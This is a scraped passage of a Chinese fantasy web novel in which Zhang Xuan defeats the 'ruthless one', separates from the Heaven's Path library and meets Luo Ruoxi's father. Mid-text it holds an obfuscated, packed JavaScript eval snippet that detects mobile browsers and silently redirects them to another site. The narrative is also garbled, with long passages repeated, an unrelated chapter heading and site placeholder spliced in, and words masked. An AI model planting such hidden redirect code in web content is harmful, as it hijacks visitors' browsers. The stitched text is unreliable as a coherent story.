解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546032|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第60章为天下女子,开辟一条道路 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 